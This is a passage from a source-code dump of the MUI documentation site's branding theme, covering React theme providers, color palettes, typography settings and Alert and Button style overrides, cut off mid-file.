if (!cachedTheme) {\n    cachedTheme = createTheme({\n      cssVariables: {\n        cssVarPrefix: 'muidocs',\n        colorSchemeSelector: 'data-mui-color-scheme',\n      },\n      direction,\n      ...themeOptions,\n    });\n    themeCache.set(direction, cachedTheme);\n  }\n  return cachedTheme!;\n}\n\ninterface BrandingCssThemeProviderProps {\n  children: React.ReactNode;\n  direction?: 'ltr' | 'rtl';\n  forceThemeRerender?: boolean;\n}\n\nexport function BrandingCssThemeProvider({\n  children,\n  direction = 'ltr',\n  forceThemeRerender = false,\n}: BrandingCssThemeProviderProps) {\n  const theme = React.useMemo(() => getTheme(direction), [direction]);\n  return (\n    <ThemeProvider\n      theme={theme}\n      disableTransitionOnChange\n      // TODO: remove `forceThemeRerender` once custom theme on some demos rely on CSS variables instead of `theme.palette.mode`\n      forceThemeRerender={forceThemeRerender}\n    >\n      {children}\n    </ThemeProvider>\n  );\n}\n\nexport function BrandingCssVarsProvider(props: {\n  children: React.ReactNode;\n  direction?: 'ltr' | 'rtl';\n}) {\n  const { direction = 'ltr', children } = props;\n  const { asPath } = useRouter();\n  const { canonicalAs } = pathnameToLanguage(asPath);\n  useEnhancedEffect(() => {\n    const nextPaletteColors = JSON.parse(getCookie('paletteColors') || 'null');\n    if (nextPaletteColors) {\n      setDocsColors(nextPaletteColors.primary, nextPaletteColors.secondary);\n    }\n  }, []);\n  useEnhancedEffect(() => {\n    // This is required to ensure that the layer order is declared first in the head\n    // because when the direction is RTL on the client, emotion reinserts the RTL styles back to the top of the insertion point.\n    if (direction === 'rtl') {\n      const head = document.querySelector('head');\n      if (head) {\n        const style = document.createElement('style');\n        style.textContent =\n          '@layer theme, docsearch, mui, mui.global, mui.default, mui.theme, mui.custom, mui.sx, utilities;';\n        head.prepend(style);\n      }\n    }\n  }, [direction]);\n  return (\n    <BrandingCssThemeProvider\n      forceThemeRerender={canonicalAs.startsWith('/x/') || canonicalAs.startsWith('/toolpad/')}\n    >\n      <NextNProgressBar />\n      <CssBaseline />\n      <SkipLink />\n      <MarkdownLinks />\n      {children}\n    </BrandingCssThemeProvider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/branding/BrandingProvider.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider, useTheme } from '@mui/material/styles';\nimport { brandingDarkTheme, brandingLightTheme } from './brandingTheme';\n\nexport interface BrandingProviderProps {\n  children: React.ReactNode;\n  /**\n   * If not `undefined`, the provider is considered nesting and does not render NextNProgressBar & CssBaseline\n   */\n  mode?: 'light' | 'dark';\n}\n\nexport function BrandingProvider(props: BrandingProviderProps) {\n  const { children, mode: modeProp } = props;\n  const upperTheme = useTheme();\n  const mode = modeProp || upperTheme.palette.mode;\n  const theme = mode === 'dark' ? brandingDarkTheme : brandingLightTheme;\n  return <ThemeProvider theme={modeProp ? () => theme : theme}>{children}</ThemeProvider>;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/branding/brandingTheme.ts",
    "content": "import type { CSSObject } from '@mui/system';\nimport type {} from '@mui/material/themeCssVarsAugmentation';\nimport ArrowDropDownRounded from '@mui/icons-material/ArrowDropDownRounded';\nimport { createTheme, ThemeOptions, Theme, alpha } from '@mui/material/styles';\n\ninterface ApplyDarkStyles {\n  (scheme: CSSObject): CSSObject;\n}\n\ndeclare module '@mui/material/styles' {\n  interface Theme {\n    applyDarkStyles: ApplyDarkStyles;\n  }\n\n  interface ColorRange {\n    50: string;\n    100: string;\n    200: string;\n    300: string;\n    400: string;\n    500: string;\n    600: string;\n    700: string;\n    800: string;\n    900: string;\n  }\n\n  interface PaletteColor extends ColorRange {}\n\n  interface Palette {\n    primaryDark: PaletteColor;\n    gradients: {\n      radioSubtle: string;\n      linearSubtle: string;\n    };\n  }\n\n  interface TypeText {\n    tertiary: string;\n  }\n\n  interface TypographyVariantsOptions {\n    fontWeightSemiBold?: number;\n    fontWeightExtraBold?: number;\n    fontFamilyCode?: string;\n    fontFamilySystem?: string;\n  }\n\n  interface TypographyVariants {\n    fontWeightSemiBold: number;\n    fontWeightExtraBold: number;\n    fontFamilyCode: string;\n    fontFamilySystem: string;\n  }\n}\n\ndeclare module '@mui/material/Chip' {\n  interface ChipPropsColorOverrides {\n    grey: true;\n  }\n}\n\ndeclare module '@mui/material/SvgIcon' {\n  interface SvgIconPropsColorOverrides {\n    danger: true;\n  }\n  interface SvgIconPropsSizeOverrides {\n    xs: true;\n    sm: true;\n    md: true;\n    lg: true;\n    xl: true;\n    xl2: true;\n    xl3: true;\n    xl4: true;\n  }\n}\n\n// TODO: enable this once types conflict is fixed\n// declare module '@mui/material/Button' {\n//   interface ButtonPropsVariantOverrides {\n//     code: true;\n//   }\n// }\n\nconst defaultTheme = createTheme();\n\nexport const blue = {\n  50: 'hsl(210, 100%, 96%)',\n  100: 'hsl(210, 100%, 90%)',\n  200: 'hsl(210, 100%, 80%)',\n  300: 'hsl(210, 100%, 70%)',\n  400: 'hsl(210, 100%, 60%)',\n  main: 'hsl(210, 100%, 45%)',\n  500: 'hsl(210, 100%, 45%)',\n  600: 'hsl(210, 100%, 42%)',\n  700: 'hsl(210, 100%, 38%)',\n  800: 'hsl(210, 100%, 30%)',\n  900: 'hsl(210, 100%, 23%)',\n};\nexport const blueDark = {\n  50: 'hsl(210, 14%, 92%)',\n  100: 'hsl(210, 14%, 87%)',\n  200: 'hsl(210, 14%, 72%)',\n  300: 'hsl(210, 14%, 56%)',\n  main: 'hsl(210, 14%, 56%)',\n  400: 'hsl(210, 14%, 36%)',\n  500: 'hsl(210, 14%, 28%)',\n  600: 'hsl(210, 14%, 22%)',\n  700: 'hsl(210, 14%, 13%)',\n  800: 'hsl(210, 14%, 9%)',\n  900: 'hsl(210, 14%, 7%)',\n};\nexport const grey = {\n  50: 'hsl(215, 15%, 97%)',\n  100: 'hsl(215, 15%, 92%)',\n  200: 'hsl(215, 15%, 89%)',\n  300: 'hsl(215, 15%, 82%)',\n  400: 'hsl(215, 15%, 75%)',\n  500: 'hsl(215, 15%, 65%)',\n  600: 'hsl(215, 15%, 50%)',\n  700: 'hsl(215, 15%, 40%)',\n  800: 'hsl(215, 15%, 22%)',\n  900: 'hsl(215, 15%, 12%)',\n};\nexport const error = {\n  50: 'hsl(355, 98%, 97%)',\n  100: 'hsl(355, 98%, 93%)',\n  200: 'hsl(355, 98%, 87%)',\n  300: 'hsl(355, 98%, 80%)',\n  400: 'hsl(355, 98%, 74%)',\n  500: 'hsl(355, 98%, 66%)',\n  main: 'hsl(355, 98%, 66%)',\n  600: 'hsl(355, 98%, 46%)',\n  700: 'hsl(355, 98%, 39%)',\n  800: 'hsl(355, 98%, 29%)',\n  900: 'hsl(355, 98%, 17%)',\n};\nexport const success = {\n  50: 'hsl(144, 72%, 95%)',\n  100: 'hsl(144, 72%, 87%)',\n  200: 'hsl(144, 72%, 77%)',\n  300: 'hsl(144, 72%, 66%)',\n  400: 'hsl(144, 72%, 56%)',\n  500: 'hsl(144, 72%, 46%)',\n  600: 'hsl(144, 72%, 41%)',\n  700: 'hsl(144, 72%, 37%)',\n  800: 'hsl(144, 72%, 32%)',\n  900: 'hsl(144, 72%, 21%)',\n};\nexport const warning = {\n  50: 'hsl(48, 100%, 96%)',\n  100: 'hsl(48, 100%, 88%)',\n  200: 'hsl(48, 100%, 82%)',\n  300: 'hsl(48, 100%, 64%)',\n  400: 'hsl(48, 100%, 48%)',\n  500: 'hsl(48, 100%, 44%)',\n  main: 'hsl(48, 100%, 44%)',\n  600: 'hsl(40, 100%, 40%)',\n  700: 'hsl(36, 100%, 34%)',\n  800: 'hsl(36, 100%, 27%)',\n  900: 'hsl(36, 100%, 18%)',\n};\n\nconst systemFont = [\n  '-apple-system',\n  'BlinkMacSystemFont',\n  '\"Segoe UI\"',\n  'Roboto',\n  '\"Helvetica Neue\"',\n  'Arial',\n  'sans-serif',\n  '\"Apple Color Emoji\"',\n  '\"Segoe UI Emoji\"',\n  '\"Segoe UI Symbol\"',\n];\n\nexport const getMetaThemeColor = (mode: 'light' | 'dark') => {\n  const themeColor = {\n    light: blue[600],\n    dark: blueDark[900],\n  };\n  return themeColor[mode];\n};\n\nexport const getDesignTokens = (mode: 'light' | 'dark') =>\n  ({\n    palette: {\n      primary: {\n        ...blue,\n        ...(mode === 'dark' && {\n          main: blue[400],\n        }),\n      },\n      secondary: {\n        ...grey,\n        ...(mode === 'light' && {\n          main: blueDark[100],\n          contrastText: blueDark[600],\n        }),\n        ...(mode === 'dark' && {\n          main: blueDark[700],\n          contrastText: blueDark[600],\n        }),\n      },\n      divider: mode === 'dark' ? alpha(blueDark[500], 0.3) : grey[100],\n      primaryDark: blueDark,\n      mode,\n      ...(mode === 'dark' && {\n        background: {\n          default: blueDark[900],\n          paper: alpha(blueDark[800], 0.8),\n        },\n      }),\n      common: {\n        black: 'hsl(200, 10%, 4%)',\n      },\n      text: {\n        ...(mode === 'light' && {\n          primary: grey[900],\n          secondary: grey[800],\n          tertiary: grey[700],\n        }),\n        ...(mode === 'dark' && {\n          primary: '#fff',\n          secondary: grey[400],\n          tertiary: grey[500],\n        }),\n      },\n      grey: {\n        ...grey,\n        ...(mode === 'light' && {\n          main: grey[100],\n          contrastText: grey[600],\n        }),\n        ...(mode === 'dark' && {\n          main: grey[700],\n          contrastText: grey[600],\n        }),\n      },\n      error,\n      success: {\n        ...success,\n        ...(mode === 'dark' && {\n          main: success[600],\n        }),\n        ...(mode === 'light' && {\n          main: success[700],\n        }),\n      },\n      warning,\n      gradients: {\n        radioSubtle:\n          mode === 'dark'\n            ? `radial-gradient(100% 100% at 100% 100%, transparent 0, ${alpha(blue[900], 0.3)} 300%)`\n            : `radial-gradient(100% 90% at 50% 0, transparent 0, ${alpha(blue[100], 0.3)} 300%)`,\n        linearSubtle:\n          mode === 'dark'\n            ? `linear-gradient(0deg, ${alpha(blue[900], 0.1)}, ${alpha(blueDark[900], 0.5)})`\n            : `linear-gradient(0deg, ${alpha(blue[50], 0.4)}, ${alpha(grey[50], 0.1)})`,\n      },\n    },\n    shape: {\n      borderRadius: 12,\n    },\n    spacing: 8,\n    typography: {\n      fontFamily: ['\"IBM Plex Sans\"', ...systemFont].join(','),\n      // Match VS Code\n      // https://github.com/microsoft/vscode/blob/b38691f611d1ce3ef437c67a1b047c757b7b4e53/src/vs/editor/common/config/editorOptions.ts#L4578-L4580\n      // https://github.com/microsoft/vscode/blob/d950552131d7350a45dac8b59bf179469c36c2ac/src/vs/editor/standalone/browser/standalone-tokens.css#L10\n      fontFamilyCode: [\n        'Menlo', // macOS\n        'Consolas', // Windows\n        '\"Droid Sans Mono\"', // Linux\n        'monospace', // fallback\n      ].join(','),\n      fontFamilyTagline: ['\"General Sans\"', ...systemFont].join(','),\n      fontFamilySystem: systemFont.join(','),\n      fontWeightSemiBold: 600,\n      fontWeightExtraBold: 800,\n      h1: {\n        fontFamily: ['\"General Sans\"', ...systemFont].join(','),\n        fontSize: 'clamp(2.5rem, 1.125rem + 3.5vw, 3.5em)',\n        fontWeight: 600,\n        lineHeight: 78 / 70,\n        letterSpacing: -0.2,\n        ...(mode === 'light' && {\n          color: blueDark[900],\n        }),\n      },\n      h2: {\n        fontFamily: ['\"General Sans\"', ...systemFont].join(','),\n        fontSize: 'clamp(1.5rem, 0.9643rem + 1.4286vw, 2.25rem)',\n        fontWeight: 600,\n        lineHeight: 44 / 36,\n        letterSpacing: -0.2,\n        color: mode === 'dark' ? grey[100] : blueDark[700],\n      },\n      h3: {\n        fontFamily: ['\"General Sans\"', ...systemFont].join(','),\n        fontSize: defaultTheme.typography.pxToRem(36),\n        lineHeight: 44 / 36,\n        letterSpacing: 0.2,\n      },\n      h4: {\n        fontFamily: ['\"General Sans\"', ...systemFont].join(','),\n        fontSize: defaultTheme.typography.pxToRem(30),\n        lineHeight: 42 / 28,\n        letterSpacing: 0.2,\n      },\n      h5: {\n        fontSize: defaultTheme.typography.pxToRem(24),\n        lineHeight: 36 / 24,\n        letterSpacing: 0.1,\n        color: mode === 'dark' ? blue[300] : blue.main,\n      },\n      h6: {\n        fontSize: defaultTheme.typography.pxToRem(20),\n        lineHeight: 30 / 20,\n      },\n      button: {\n        textTransform: 'initial',\n        fontWeight: 700,\n        letterSpacing: 0,\n      },\n      subtitle1: {\n        fontSize: defaultTheme.typography.pxToRem(18),\n        lineHeight: 24 / 18,\n        letterSpacing: 0,\n        fontWeight: 500,\n      },\n      body1: {\n        fontSize: defaultTheme.typography.pxToRem(16),\n        lineHeight: 24 / 16,\n        letterSpacing: 0,\n      },\n      body2: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n        lineHeight: 21 / 14,\n        letterSpacing: 0,\n      },\n      caption: {\n        display: 'inline-block',\n        fontSize: defaultTheme.typography.pxToRem(12),\n        lineHeight: 18 / 12,\n        letterSpacing: 0,\n        fontWeight: 700,\n      },\n      allVariants: {\n        scrollMarginTop: 'calc(var(--MuiDocs-header-height) + 32px)',\n      },\n    },\n    /**\n     * This utility exists to help transitioning to CSS variables page by page (prevent dark mode flicker).\n     * It will use the proper styling method based on the theme because the component might be on the page that does not support CSS variables yet.\n     *\n     * 😓 Without this utility:\n     * {\n     *   ...theme.vars ? {\n     *     color: theme.vars.palette.primary.main,\n     *     [theme.getColorScheme('dark')]: {\n     *       color: '#fff',\n     *     }\n     *   } : {\n     *     color: theme.palette.mode === 'dark' ? '#fff' : theme.palette.primary.main,\n     *   }\n     * }\n     *\n     * 🤩 Using the utility:\n     * {\n     *   color: (theme.vars || theme).palette.primary.main,\n     *   ...theme.applyDarkStyles({\n     *     color: '#fff',\n     *   }),\n     * }\n     *\n     * -------------------------------------------------------------------------------------------------\n     * 💡 This util should be used in an array if the styles contain pseudo classes or nested selectors:\n     *\n     * ❌ There is a chance that the upper selectors could be overridden\n     * {\n     *    // the whole selector could be overridden\n     *   '&::before': {\n     *     color: ...\n     *   },\n     *   ...theme.applyDarkStyles({\n     *      '&::before': {\n     *        color: ...\n     *      }\n     *   })\n     * }\n     *\n     * ✅ use an array (supports in both emotion and styled-components)\n     * Only the `color` will be overridden in dark mode.\n     *  [\n     *    '&::before': {\n     *      color: ...\n     *    },\n     *    theme.applyDarkStyles({\n     *      '&::before': {\n     *        color: ...\n     *      }\n     *    })\n     *  ]\n     */\n    applyDarkStyles(css: Parameters<ApplyDarkStyles>[0]) {\n      return (this as Theme).applyStyles('dark', css);\n    },\n  }) as ThemeOptions;\n\nexport function getThemedComponents(): ThemeOptions {\n  return {\n    components: {\n      MuiAlert: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            padding: '16px',\n            gap: '12px',\n            fontSize: '1rem',\n            '& * ul': { paddingLeft: '24px !important', marginBottom: '0 !important' }, // !important is used here to override the anchor tag color coming from MarkdownElement\n            '& .MuiAlert-icon': {\n              margin: 0,\n              marginTop: '2px',\n              padding: 0,\n            },\n            '& .MuiAlert-message': { padding: 0 },\n            variants: [\n              {\n                // same styles from the MarkdownElement callout\n                props: { variant: 'standard', color: 'warning' },\n                style: [\n                  {\n                    backgroundColor: alpha(theme.palette.warning[50], 0.5),\n                    color: (theme.vars || theme).palette.grey[900],\n                    border: '1px solid',\n                    borderColor: alpha(theme.palette.warning[700], 0.15),\n                    '& .MuiAlert-icon': {\n                      color: (theme.vars || theme).palette.warning[600],\n                    },\n                    '& * a': {\n                      // !important is used here to override the anchor tag color coming from MarkdownElement\n                      color: `${(theme.vars || theme).palette.warning[900]} !important`,\n                      textDecorationColor: `${alpha(theme.palette.warning.main, 0.4)} !important`,\n                      '&:hover': {\n                        textDecorationColor: `${(theme.vars || theme).palette.warning[900]} !important`,\n                      },\n                    },\n                  },\n                  theme.applyDarkStyles({\n                    backgroundColor: alpha(theme.palette.warning[700], 0.12),\n                    color: (theme.vars || theme).palette.warning[50],\n                    '& .MuiAlert-icon': {\n                      color: (theme.vars || theme).palette.warning[400],\n                    },\n                    '& * a': {\n                      color: `${(theme.vars || theme).palette.warning[100]} !important`,\n                      textDecorationColor: `${alpha(theme.palette.warning[600], 0.4)} !important`,\n                      '&:hover': {\n                        textDecorationColor: `${(theme.vars || theme).palette.warning[600]} !important`,\n                      },\n                    },\n                  }),\n                ],\n              },\n              {\n                // same styles from the MarkdownElement callout\n                props: { variant: 'standard', color: 'success' },\n                style: [\n                  {\n                    backgroundColor: alpha(theme.palette.success[50], 0.5),\n                    color: (theme.vars || theme).palette.success[900],\n                    border: `1px solid ${(theme.vars || theme).palette.success[100]}`,\n                    '& .MuiAlert-icon': {\n                      color: (theme.vars || theme).palette.success[600],\n                    },\n                    '& * a': {\n                      // !important is used here to override the anchor tag color coming from MarkdownElement\n                      color: `${(theme.vars || theme).palette.success[900]} !important`,\n                      textDecorationColor: `${alpha(theme.palette.success.main, 0.4)} !important`,\n                      '&:hover': {\n                        textDecorationColor: `${(theme.vars || theme).palette.success[900]} !important`,\n                      },\n                    },\n                  },\n                  theme.applyDarkStyles({\n                    backgroundColor: alpha(theme.palette.success[700], 0.12),\n                    color: (theme.vars || theme).palette.success[50],\n                    borderColor: alpha(theme.palette.success[400], 0.1),\n                    '& .MuiAlert-icon': {\n                      color: (theme.vars || theme).palette.success[500],\n                    },\n                    '& * a': {\n                      color: `${(theme.vars || theme).palette.success[100]} !important`,\n                      textDecorationColor: `${alpha(theme.palette.success[600], 0.4)} !important`,\n                      '&:hover': {\n                        textDecorationColor: `${(theme.vars || theme).palette.success[600]} !important`,\n                      },\n                    },\n                  }),\n                ],\n              },\n            ],\n          }),\n          icon: {\n            paddingTop: 10,\n            paddingBottom: 0,\n          },\n        },\n      },\n      MuiButtonBase: {\n        defaultProps: {\n          disableTouchRipple: true,\n          disableRipple: true,\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            transition: 'all 100ms ease-in',\n            '&:focus-visible': {\n              outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n              outlineOffset: 2,\n            },\n          }),\n        },\n      },\n      MuiButton: {\n        defaultProps: {\n          disableElevation: true,\n        },\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            transition: 'all 120ms ease-in',\n            ...(ownerState.size === 'large' && {\n              ...theme.typography.body1,\n              lineHeight: 1.5,\n              fontWeight: theme.typography.fontWeightMedium,\n              padding: theme.spacing('8px', '12px', '8px', '14px'),\n              borderRadius: 10,\n              '& > span': { transition: '0.2s', marginLeft: 4 },\n              '&:hover > span': { transform: 'translateX(2px)' },\n            }),\n            ...(ownerState.size === 'medium' && {\n              fontSize: defaultTheme.typography.pxToRem(15),\n              fontWeight: theme.typography.fontWeightMedium,\n              lineHeight: 1.25,\n              padding: theme.spacing('8px', '10px', '10px', '12px'),\n              borderRadius: 10,\n              '& > span': { transition: '0.2s', marginLeft: 4 },\n              '&:hover > span': { transform: 'translateX(2px)' },\n            }),\n            ...(ownerState.size === 'small' && {\n              padding: '6px 10px',\n              fontFamily: theme.typography.fontFamily,\n              fontSize: defaultTheme.typography.pxToRem(13),\n              fontWeight: theme.typography.fontWeightMedium,\n              borderRadius: 10,\n              '& .MuiButton-startIcon': {\n                transition: '0.15s',\n                marginRight: 4,\n                marginLeft: -1,\n              },\n              '& .MuiButton-endIcon': {\n                transition: '0.15s',\n                marginLeft: 4,\n              },\n              '&:hover': {\n                '& .MuiButton-startIcon': { transform: 'translateX(-2px)' },\n                '& .MuiButton-endIcon': { transform: 'translateX(2px)' },\n              },\n            }),\n            ...(ownerState.variant === 'outlined' &&\n              ownerState.color === 'secondary' && {\n                color: (theme.vars || theme).palette.text.primary,\n                backgroundColor: alpha(theme.palette.primaryDark[50], 0.1),\n                borderColor: (theme.vars || theme).palette.primaryDark[100],\n                boxShadow: `#FFF 0 1px 0 1px inset, ${alpha(theme.palette.grey[200], 0.4)} 0 -1px 0 1px inset, ${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.grey[50],\n                },\n                '&:active': {\n                  backgroundColor: (theme.vars || theme).palette.grey[100],\n                },\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primaryDark[100],\n                  borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n                  backgroundColor: alpha(theme.palette.primaryDark[700], 0.2),\n                  boxShadow: `${alpha(theme.palette.primaryDark[700], 0.3)} 0 1px 0 1px inset, ${(theme.vars || theme).palette.common.black} 0 -1px 0 1px inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                  '&:hover': {\n                    backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                    borderColor: (theme.vars || theme).palette.primaryDark[600],\n                  },\n                  '&:active': {\n                    backgroundColor: (theme.vars || theme).palette.primaryDark[800],\n                  },\n                  '&.Mui-disabled:not(.MuiButton-loading)': {\n                    color: theme.palette.grey[500],\n                  },\n                }),\n              }),\n            ...(ownerState.variant === 'outlined' &&\n              ownerState.color === 'primary' && {\n                color: (theme.vars || theme).palette.primary[600],\n                backgroundColor: alpha(theme.palette.primary[50], 0.2),\n                borderColor: (theme.vars || theme).palette.primary[100],\n                boxShadow: `${alpha(theme.palette.primary[100], 0.4)} 0 -1px 0 1px inset, ${alpha(theme.palette.primary[100], 0.5)} 0 1px 2px 0`,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[50],\n                  borderColor: (theme.vars || theme).palette.primary[200],\n                },\n                '&:active': {\n                  backgroundColor: alpha(theme.palette.primary[100], 0.7),\n                },\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primary[200],\n                  borderColor: alpha(theme.palette.primary[900], 0.7),\n                  backgroundColor: alpha(theme.palette.primary[900], 0.2),\n                  boxShadow: `${alpha(theme.palette.primary[900], 0.2)} 0 1px 0 1px inset, ${(theme.vars || theme).palette.common.black} 0 -1px 0 1px inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                  '&:hover': {\n                    backgroundColor: alpha(theme.palette.primary[900], 0.5),\n                    borderColor: (theme.vars || theme).palette.primary[900],\n                  },\n                  '&:active': {\n                    backgroundColor: alpha(theme.palette.primary[900], 0.3),\n                  },\n                  '&.Mui-disabled:not(.MuiButton-loading)': {\n                    background: 'none',\n                    backgroundColor: alpha(theme.palette.primaryDark[700], 0.2),\n                    color: theme.palette.grey[500],\n                  },\n                }),\n              }),\n            ...(ownerState.variant === 'contained' &&\n              ownerState.color === 'primary' && {\n                color: '#fff',\n                textShadow: `0 1px 1px ${alpha(theme.palette.common.black, 0.6)}`,\n                backgroundColor: (theme.vars || theme).palette.primary[500],\n                backgroundImage: 'transparent',\n                border: '1px solid ',\n                borderColor: (theme.vars || theme).palette.primary[600],\n                boxShadow: `${alpha(theme.palette.primary[400], 0.5)} 0 1px 0 inset, ${alpha(theme.palette.primary[800], 0.4)} 0 -1px 0 1px inset, ${alpha(theme.palette.common.black, 0.1)} 0 2px 4px 0`,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[700],\n                  borderColor: (theme.vars || theme).palette.primary[800],\n                },\n                '&:active': {\n                  backgroundColor: (theme.vars || theme).palette.primary[800],\n                  borderColor: (theme.vars || theme).palette.primary[600],\n                  boxShadow: `${alpha(theme.palette.primary[900], 0.7)} 0 1px 0 1px inset`,\n                },\n                '&.Mui-disabled': {\n                  color: theme.palette.grey[700],\n                  textShadow: 'none',\n                  borderColor: theme.palette.grey[400],\n                },\n                ...theme.applyDarkStyles({\n                  '&.Mui-disabled:not(.MuiButton-loading)': {\n                    color: theme.palette.grey[400],\n                    textShadow: 'none',\n                    borderColor: theme.palette.grey[800],\n                  },\n                }),\n              }),\n            ...(ownerState.variant === 'contained' &&\n              ownerState.color === 'secondary' && {\n                color: '#fff',\n                textShadow: `0 1px 1px ${alpha(theme.palette.common.black, 0.6)}`,\n                backgroundColor: (theme.vars || theme).palette.primaryDark[500],\n                backgroundImage: 'transparent',\n                border: '1px solid ',\n                borderColor: (theme.vars || theme).palette.primaryDark[600],\n                boxShadow: `${alpha(theme.palette.primaryDark[400], 0.5)} 0 1px 0 1px inset, ${alpha(theme.palette.primaryDark[800], 0.7)} 0 -1px 0 1px inset, ${alpha(theme.palette.common.black, 0.1)} 0 2px 4px 0`,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primaryDark[600],\n                  borderColor: (theme.vars || theme).palette.primaryDark[700],\n                },\n                '&:active': {\n                  backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                  borderColor: (theme.vars || theme).palette.primaryDark[600],\n                  boxShadow: `${alpha(theme.palette.primaryDark[900], 0.7)} 0 1px 0 1px inset`,\n                },\n                '&.Mui-disabled': {\n                  color: theme.palette.grey[700],\n                  textShadow: 'none',\n                  borderColor: theme.palette.grey[400],\n                },\n                ...theme.applyDarkStyles({\n                  '&.Mui-disabled:not(.MuiButton-loading)': {\n                    color: theme.palette.grey[400],\n                    textShadow: 'none',\n                    borderColor: theme.palette.grey[800],\n                  },\n                }),\n              }),\n            ...(ownerState.variant === 'text' &&\n              ownerState.color === 'secondary' && {\n                color: (theme.vars || theme).palette.text.secondary,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.grey[50],\n                },\n                '&:active': {\n                  backgroundColor: (theme.vars || theme).palette.grey[200],\n                },\n                ...theme.applyDarkStyles({\n                  '&:hover': {\n                    backgroundColor: alpha(theme.palette.primaryDark[700], 0.5),\n                  },\n                  '&:active': {\n                    backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                  },\n                  '&.Mui-disabled': {\n                    color: theme.palette.grey[500],\n                  },\n                }),\n              }),\n            ...(ownerState.variant === 'text' &&\n              ownerState.color === 'primary' && {\n                color: (theme.vars || theme).palette.primary[600],\n                '&:hover': {\n                  backgroundColor: alpha(theme.palette.primary[100], 0.3),\n                },\n                '&:active': {\n                  backgroundColor: alpha(theme.palette.primary[100], 0.5),\n                },\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primary[300],\n                  '&:hover': {\n                    backgroundColor: alpha(theme.palette.primary[900], 0.3),\n                  },\n                  '&:active': {\n                    backgroundColor: alpha(theme.palette.primary[900], 0.1),\n                  },\n                  '&.Mui-disabled:not(.MuiButton-loading)': {\n                    color: theme.palette.grey[500],\n                  },\n                }),\n              }),\n          }),\n        },\n        variants: [\n          {\n            // @ts-ignore internal repo module augmentation issue\n            props: { variant: 'code' },\n            style: ({ theme }) => [\n              {\n                cursor: 'copy',\n                padding: 0,\n                width: 'max-content',\n                backgroundColor: 'transparent',\n                color: (theme.vars || theme).palette.grey[600],\n                fontFamily: theme.typography.fontFamilyCode,\n                fontWeight: 400,\n                fontSize: defaultTheme.typography.pxToRem(12),\n                lineHeight: 21 / 14,\n                letterSpacing: 0,\n                WebkitFontSmoothing: 'subpixel-antialiased',\n                '& .MuiButton-startIcon': {\n                  color: (theme.vars || theme).palette.grey[400],\n                },\n                '& .MuiButton-endIcon': {\n                  display: 'inline-block',\n                  position: 'absolute',\n                  color: (theme.vars || theme).palette.primary.main,\n                  right: -22,\n                  top: -1,\n                  opacity: 0,\n                  transitionProperty: 'opacity',\n                  transitionDuration: '100ms',\n                  transitionTimingFunction: 'cubic-bezier(0.4, 0, 0.2, 1)',\n                },\n                '&:hover, &.Mui-focusVisible': {\n                  backgroundColor: 'transparent',\n                  color: (theme.vars || theme).palette.primary.main,\n                  '& .MuiButton-endIcon': {\n                    color: (theme.vars || theme).palette.primary.main,\n                    opacity: 1,\n                  },\n                },\n              },\n              theme.applyDarkStyles({\n                '& .MuiButton-endIcon': {\n                  color: (theme.vars || theme).palette.primary[300],\n                },\n                '&:hover, &.Mui-focusVisible': {\n                  color: (theme.vars || theme).palette.primary[300],\n                  '& .MuiButton-endIcon': {\n                    opacity: 1,\n                  },\n                },\n              }),\n            ],\n          },\n          {\n            // @ts-ignore internal repo module augmentation issue\n            props: { variant: 'codeOutlined' },\n            style: ({ theme }) => [\n              {\n                display: 'inline-block',\n                justifyContent: 'start',\n                overflowX: 'hidden',\n                whiteSpace: 'nowrap',\n                textOverflow: 'ellipsis',\n                position: 'relative',\n                border: '1px solid',\n                color: (theme.vars || theme).palette.grey[900],\n                backgroundColor: alpha(theme.palette.primary[50], 0.3),\n                borderColor: (theme.vars || theme).palette.grey[200],\n                boxShadow: `0px 2px 2px ${alpha(\n                  theme.palette.primary[100],\n                  0.2,\n                )}, inset 0px 4px 4px ${alpha(theme.palette.primary[100], 0.2)}`,\n                fontFamily: theme.typography.fontFamilyCode,\n                fontWeight: 400,\n                fontSize: defaultTheme.typography.pxToRem(12),\n                lineHeight: 21 / 14,\n                letterSpacing: 0,\n                WebkitFontSmoothing: 'subpixel-antialiased',\n                '& .MuiButton-endIcon': {\n                  display: 'inline-block',\n                  position: 'absolute',\n                  top: 12,\n                  right: 0,\n                  marginRight: 10,\n                  color: (theme.vars || theme).palette.grey[600],\n                },\n                '&:hover, &.Mui-focusVisible': {\n                  borderColor: (theme.vars || theme).palette.primary.main,\n                  backgroundColor: (theme.vars || theme).palette.primary[50],\n                  color: (theme.vars || theme).palette.primary[600],\n                  '& .MuiButton-endIcon': {\n                    color: (theme.vars || theme).palette.primary.main,\n                  },\n                },\n              } as const,\n              theme.applyDarkStyles({\n                color: (theme.vars || theme).palette.grey[500],\n                borderColor: (theme.vars || theme).palette.primaryDark[600],\n                backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                boxShadow: '0px 2px 2px #0B0D0E, inset 0px 4px 4px rgba(20, 25, 31, 0.3)',\n                '& .MuiButton-endIcon': {\n                  color: (theme.vars || theme).palette.grey[400],\n                },\n                '&:hover, &.Mui-focusVisible': {\n                  backgroundColor: (theme.vars || theme).palette.primary[900],\n                  color: (theme.vars || theme).palette.primary[100],\n                  '& .MuiButton-endIcon': {\n                   